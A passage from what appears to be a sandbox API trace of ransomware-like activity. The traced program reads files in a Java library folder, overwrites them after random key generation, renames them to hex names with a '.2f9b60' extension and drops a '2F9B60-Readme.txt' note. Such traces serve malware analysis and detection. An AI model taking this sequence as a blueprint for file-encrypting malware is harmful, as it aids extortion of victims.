(_String1="LINEAR_RGB.pf", _String2="..") returned 1 [0206.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8693c0 [0206.151] wcscpy (in: _Dest=0x1b8693c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0206.151] wcscat (in: _Dest=0x1b8693c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0206.151] wcscat (in: _Dest=0x1b8693c0, _Source="LINEAR_RGB.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" [0206.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8693c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae4 [0206.158] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0206.158] wcscmp (_String1="PYCC.pf", _String2=".") returned 1 [0206.158] wcscmp (_String1="PYCC.pf", _String2="..") returned 1 [0206.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e950 [0206.159] wcscpy (in: _Dest=0x1b86e950, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0206.159] wcscat (in: _Dest=0x1b86e950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0206.159] wcscat (in: _Dest=0x1b86e950, _Source="PYCC.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" [0206.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec8 [0206.165] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0206.165] wcscmp (_String1="sRGB.pf", _String2=".") returned 1 [0206.165] wcscmp (_String1="sRGB.pf", _String2="..") returned 1 [0206.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f910 [0206.165] wcscpy (in: _Dest=0x4309f910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0206.165] wcscat (in: _Dest=0x4309f910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0206.165] wcscat (in: _Dest=0x4309f910, _Source="sRGB.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" [0206.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4309f910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0206.175] FindNextFileW (in: hFindFile=0x1ced62e0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0206.175] FindClose (in: hFindFile=0x1ced62e0 | out: hFindFile=0x1ced62e0) returned 1 [0206.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f3e0) returned 1 [0206.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ce50) returned 1 [0206.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d030) returned 1 Thread: id = 2069 os_tid = 0x1358 [0138.194] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties")) returned 0x20 [0138.197] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties", dwFileAttributes=0x20) returned 1 [0138.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e90 [0138.198] GetFileSizeEx (in: hFile=0x1e90, lpFileSize=0x3631fe40 | out: lpFileSize=0x3631fe40*=5548) returned 1 [0138.198] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x15a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.198] ReadFile (in: hFile=0x1e90, lpBuffer=0x3631fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3631fe08, lpOverlapped=0x0 | out: lpBuffer=0x3631fdc0*, lpNumberOfBytesRead=0x3631fe08*=0x4, lpOverlapped=0x0) returned 1 [0138.201] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.201] NtQuerySystemTime (in: CurrentTime=0x3631fd00 | out: CurrentTime=0x3631fd00*=132462177434494000) returned 0x0 [0138.201] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x2fd9c1a3 [0138.201] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x6bd4cb51 [0138.201] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x704f58e3 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x14d10d6b [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x2698380f [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x246c8464 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x299cf9c6 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x12d5f1dc [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x33004c0e [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0xda3bbb8 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x3a2bd84f [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x3b52ca07 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x64ad1122 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x37dfde83 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x14e5a61e [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x308e9922 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x433998fe [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x7bed16dc [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x502e2b21 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x32010cf0 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x5b58ac93 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x2da20f88 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x65e5056f [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x16b117c8 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x1214a28b [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x2807c6f4 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x5cc0f766 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x2e297a20 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x4a151850 [0138.202] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x6b109a7e [0138.203] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x6a47a140 [0138.203] RtlRandomEx (in: Seed=0x3631fcf0 | out: Seed=0x3631fcf0) returned 0x195792e8 [0138.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0138.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0138.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0138.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42076d10 [0138.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207a920 [0138.213] ReadFile (in: hFile=0x1e90, lpBuffer=0x42076d10, nNumberOfBytesToRead=0x15ac, lpNumberOfBytesRead=0x3631fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42076d10*, lpNumberOfBytesRead=0x3631fcf0*=0x15ac, lpOverlapped=0x0) returned 1 [0138.218] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.218] WriteFile (in: hFile=0x1e90, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0x15ac, lpNumberOfBytesWritten=0x3631fcf4, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x3631fcf4*=0x15ac, lpOverlapped=0x0) returned 1 [0138.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0138.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42076d10) returned 1 [0138.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd977b0 [0138.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0138.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd975d0 [0138.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0138.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b82f830 [0138.237] SetFilePointerEx (in: hFile=0x1e90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.238] WriteFile (in: hFile=0x1e90, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3631fe10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x3631fe10*=0x122, lpOverlapped=0x0) returned 1 [0138.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0138.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cda0430 [0138.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0138.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0138.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0138.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b86e8e0 [0138.244] sprintf (in: _Dest=0x1b86e8e0, _Format="%c%c" | out: _Dest="0f") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8e2, _Format="%c%c" | out: _Dest="bd") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8e4, _Format="%c%c" | out: _Dest="6c") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8e6, _Format="%c%c" | out: _Dest="4c") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8e8, _Format="%c%c" | out: _Dest="e1") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8ea, _Format="%c%c" | out: _Dest="e3") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8ec, _Format="%c%c" | out: _Dest="99") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8ee, _Format="%c%c" | out: _Dest="3b") returned 2 [0138.244] sprintf (in: _Dest=0x1b86e8f0, _Format="%c%c" | out: _Dest="03") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8f2, _Format="%c%c" | out: _Dest="98") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8f4, _Format="%c%c" | out: _Dest="1e") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8f6, _Format="%c%c" | out: _Dest="dc") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8f8, _Format="%c%c" | out: _Dest="65") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8fa, _Format="%c%c" | out: _Dest="91") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8fc, _Format="%c%c" | out: _Dest="9b") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e8fe, _Format="%c%c" | out: _Dest="eb") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e900, _Format="%c%c" | out: _Dest="77") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e902, _Format="%c%c" | out: _Dest="7e") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e904, _Format="%c%c" | out: _Dest="bc") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e906, _Format="%c%c" | out: _Dest="98") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e908, _Format="%c%c" | out: _Dest="e0") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e90a, _Format="%c%c" | out: _Dest="92") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e90c, _Format="%c%c" | out: _Dest="df") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e90e, _Format="%c%c" | out: _Dest="69") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e910, _Format="%c%c" | out: _Dest="fe") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e912, _Format="%c%c" | out: _Dest="17") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e914, _Format="%c%c" | out: _Dest="94") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e916, _Format="%c%c" | out: _Dest="00") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e918, _Format="%c%c" | out: _Dest="fa") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e91a, _Format="%c%c" | out: _Dest="c8") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e91c, _Format="%c%c" | out: _Dest="b7") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e91e, _Format="%c%c" | out: _Dest="48") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e920, _Format="%c%c" | out: _Dest="ec") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e922, _Format="%c%c" | out: _Dest="72") returned 2 [0138.245] sprintf (in: _Dest=0x1b86e924, _Format="%c%c" | out: _Dest="f4") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e926, _Format="%c%c" | out: _Dest="ad") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e928, _Format="%c%c" | out: _Dest="a8") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e92a, _Format="%c%c" | out: _Dest="0f") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e92c, _Format="%c%c" | out: _Dest="cb") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e92e, _Format="%c%c" | out: _Dest="8a") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e930, _Format="%c%c" | out: _Dest="8f") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e932, _Format="%c%c" | out: _Dest="e6") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e934, _Format="%c%c" | out: _Dest="bd") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e936, _Format="%c%c" | out: _Dest="8d") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e938, _Format="%c%c" | out: _Dest="d8") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e93a, _Format="%c%c" | out: _Dest="ff") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e93c, _Format="%c%c" | out: _Dest="2f") returned 2 [0138.246] sprintf (in: _Dest=0x1b86e93e, _Format="%c%c" | out: _Dest="70") returned 2 [0138.246] RtlInitAnsiString (in: DestinationString=0x3631fe88, SourceString="0fbd6c4ce1e3993b03981edc65919beb777ebc98e092df69fe179400fac8b748ec72f4ada80fcb8a8fe6bd8dd8ff2f70" | out: DestinationString="0fbd6c4ce1e3993b03981edc65919beb777ebc98e092df69fe179400fac8b748ec72f4ada80fcb8a8fe6bd8dd8ff2f70") [0138.246] RtlAnsiStringToUnicodeString (in: DestinationString=0x3631fe58, SourceString="0fbd6c4ce1e3993b03981edc65919beb777ebc98e092df69fe179400fac8b748ec72f4ada80fcb8a8fe6bd8dd8ff2f70", AllocateDestinationString=1 | out: DestinationString="0fbd6c4ce1e3993b03981edc65919beb777ebc98e092df69fe179400fac8b748ec72f4ada80fcb8a8fe6bd8dd8ff2f70") returned 0x0 [0138.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205e320 [0138.246] RtlFreeAnsiString (AnsiString="0") [0138.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e8e0) returned 1 [0138.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0430) returned 1 [0138.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0138.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0138.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0138.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1cd0 [0138.248] wcscat (in: _Dest=0x202b1cd0, _Source="0fbd6c4ce1e3993b03981edc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc" [0138.248] wcscat (in: _Dest=0x202b1cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc.2f9b60" [0138.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc.2f9b60", NtPathName=0x3631fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\0fbd6c4ce1e3993b03981edc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c9d0 [0138.249] NtSetInformationFile (FileHandle=0x1e90, IoStatusBlock=0x3631fed0, FileInformation=0x2050c9d0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0138.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0138.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff690) returned 1 [0138.251] NtQueryInformationFile (in: FileHandle=0x1e90, IoStatusBlock=0x3631fe98, FileInformation=0x3631fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3631fe98, FileInformation=0x3631fea8) returned 0x0 [0138.251] NtSetInformationFile (FileHandle=0x1e90, IoStatusBlock=0x3631fe98, FileInformation=0x3631fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0138.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e320) returned 1 [0138.253] FlushFileBuffers (hFile=0x1e90) returned 1 [0138.550] CloseHandle (hObject=0x1e90) returned 1 [0138.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0138.656] wcscpy (in: _Dest=0x42061130, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0138.656] wcscat (in: _Dest=0x42061130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0138.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0xffffffff [0138.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b24 [0145.278] WriteFile (in: hFile=0x1b24, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3631fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3631fd50*=0xba9, lpOverlapped=0x0) returned 1 [0147.312] CloseHandle (hObject=0x1b24) returned 1 [0147.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0147.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 Thread: id = 2070 os_tid = 0x135c [0138.214] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data")) returned 0x20 [0138.214] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data", dwFileAttributes=0x20) returned 1 [0138.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e94 [0138.215] GetFileSizeEx (in: 